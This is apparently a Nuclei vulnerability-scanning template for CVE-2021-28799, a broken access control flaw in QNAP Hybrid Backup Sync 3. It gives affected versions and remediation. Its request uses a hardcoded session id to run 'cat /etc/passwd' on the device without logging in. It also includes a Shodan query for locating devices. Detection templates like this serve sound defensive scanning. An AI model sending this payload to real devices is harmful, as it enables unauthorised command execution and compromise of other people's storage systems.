id: CVE-2021-28799

info:
  name: QNAP HBS 3 - Broken Access Control
  author: daffainfo
  severity: critical
  description: |
    An improper authorization vulnerability has been reported to affect QNAP NAS running HBS 3 (Hybrid Backup Sync. ) If exploited, the vulnerability allows remote attackers to log in to a device. This issue affects: QNAP Systems Inc. HBS 3 versions prior to v16.0.0415 on QTS 4.5.2; versions prior to v3.0.210412 on QTS 4.3.6; versions prior to v3.0.210411 on QTS 4.3.4; versions prior to v3.0.210411 on QTS 4.3.3; versions prior to v16.0.0419 on QuTS hero h4.5.1; versions prior to v16.0.0419 on QuTScloud c4.5.1~c4.5.4. This issue does not affect: QNAP Systems Inc. HBS 2 . QNAP Systems Inc. HBS 1.3 .
  impact: |
    Remote attackers can log in without proper authorization, potentially leading to full system compromise or unauthorized data access.
  remediation: |
    Update to the latest versions: v16.0.0415 or later for QTS 4.5.2, v3.0.210412 or later for QTS 4.3.6, v3.0.210411 or later for QTS 4.3.4 and 4.3.3, v16.0.0419 or later for QuTS hero h4.5.1, and v16.0.0419 or later for QuTScloud c4.5.1~c4.5.4.
  reference:
    - https://www.qnap.com/en/security-advisory/QSA-21-13
    - https://unit42.paloaltonetworks.com/ech0raix-ransomware-soho/
    - https://gist.github.com/daniruiz/962ecca527b59954e619c5ae2cab680c
    - https://nvd.nist.gov/vuln/detail/CVE-2021-28799
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-28799
    cwe-id: CWE-285
    epss-score: 0.78395
    epss-percentile: 0.99527
    cpe: cpe:2.3:a:qnap:hybrid_backup_sync:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-requests: 1
    vendor: qnap
    product: hybrid_backup_sync
    shodan-query: product:"QNAP"
  tags: cve,cve2021,qnap,qts,qutshero,hbs3,rce,vkev,kev

http:
  - raw:
      - |
        POST /cgi-bin/backup/hbs_mgnt.cgi HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json; charset=UTF-8

        {"act":"run_cmd","sid":"jisoosocoolhbsmgnt","cmd":"cat /etc/passwd"}

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'admin:.*:0:0:'
          - '"cgi_log":'
          - '"result":'
        condition: and

      - type: word
        part: content_type
        words:
          - 'application/json'

      - type: status
        status:
          - 200
# digest: 490a0046304402205641795971567de076f6b7ed14530461c59b70095d85095997dd83a0abd6cc9c0220699a25383557310e1da695abed458292f396c95a78a32fe66b65132256e3ef7b:922c64590222798bb761d5b6d8e72950